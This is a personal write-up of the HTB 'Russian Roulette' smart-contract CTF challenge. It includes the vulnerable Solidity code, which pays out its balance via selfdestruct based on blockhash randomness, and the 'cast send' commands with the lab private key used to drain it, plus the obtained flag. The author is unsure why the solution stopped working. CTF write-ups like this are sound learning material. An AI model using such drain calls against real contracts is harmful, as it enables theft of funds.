Russian Roulette

Personal Rating: Easy

We have two files:

setup.sol

pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

RussianRoulette.sol

pragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {
            selfdestruct(payable(msg.sender)); // 💀
        } else {
		return "im SAFU ... for now";
	    }
    }
}

This is for working with the challenge:

nc 94.237.50.221 46539

This is for getting the flag:

nc 94.237.50.221 52428

Private key : 0x1e008552917a75093e94d95ea3c2ac77c8187fd7ec27ae232a14b3317edb40c8
Address : 0xdda87a53d91521d3dF09Ef59A303dCd0849830Ea
Target contract : 0xe61aD3d13a4396003e971BC4BF94F24A3Bb21304
Setup contract : 0x448dC8764488597cd729D0BceCa3a19545f8673F

This guide suggests using remix, so I did:

HTB — Cyber Apocalypse CTF — BlockchainMedium

Remix - Ethereum IDE

This did not work and I could not connect to the RPC URL in the named tools.

I found a better writeup:

HTB Cyber Apocalypse 2023: Owning Smart Contracts — Navigating the UnknownMedium

[user@arch ~]$ cast send --rpc-url=http://94.237.50.221:46539 --private-key=0x1e008552917a75093e94d95ea3c2ac77c8187fd7ec27ae232a14b3317edb40c8 0xe61aD3d13a4396003e971BC4BF94F24A3Bb21304 "pullTrigger()" 10

blockHash               0xbd48d4182b3c18ce7b694e3b34f3ac30146894954567722d3a6f1e88279cc062
blockNumber             2
contractAddress         
cumulativeGasUsed       26358
effectiveGasPrice       3000000000
from                    0xdda87a53d91521d3dF09Ef59A303dCd0849830Ea
gasUsed                 26358
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root                    
status                  1
transactionHash         0xb0a0602328b09bbb0cc4d98425648a7405d6385d10ac0556f790aaa3d741b66a
transactionIndex        0
type                    2
to                      0xe61aD3d13a4396003e971BC4BF94F24A3Bb21304
depositNonce            null

[user@arch ~]$ cast send --rpc-url=http://94.237.50.221:46539 --private-key=0x1e008552917a75093e94d95ea3c2ac77c8187fd7ec27ae232a14b3317edb40c8 0x448dC8764488597cd729D0BceCa3a19545f8673F "isSolved()"

blockHash               0x4d9b9d77568b296f76b2057a11da3bf858f44b71a158a3194fba6e9e2d6e88a5
blockNumber             3
contractAddress         
cumulativeGasUsed       23829
effectiveGasPrice       3000000000
from                    0xdda87a53d91521d3dF09Ef59A303dCd0849830Ea
gasUsed                 23829
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root                    
status                  1
transactionHash         0x2439e5daacaf655fe5f4368fbaf4b8aef25dd6aa1b3b2c61d13c37d4833f9fe3
transactionIndex        0
type                    2
to                      0x448dC8764488597cd729D0BceCa3a19545f8673F
depositNonce            null

nc 94.237.50.221 52428

1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3

HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}

The only two commands that I essentially required are these:

cast send --rpc-url=http://94.237.50.221:46539 --private-key=<private key> <target key> "pullTrigger()"

cast send --rpc-url=http://94.237.50.221:46539 --private-key=<private key> <setup key> "isSolved()"

After retrying however, this did not work anymore and I am not sure why.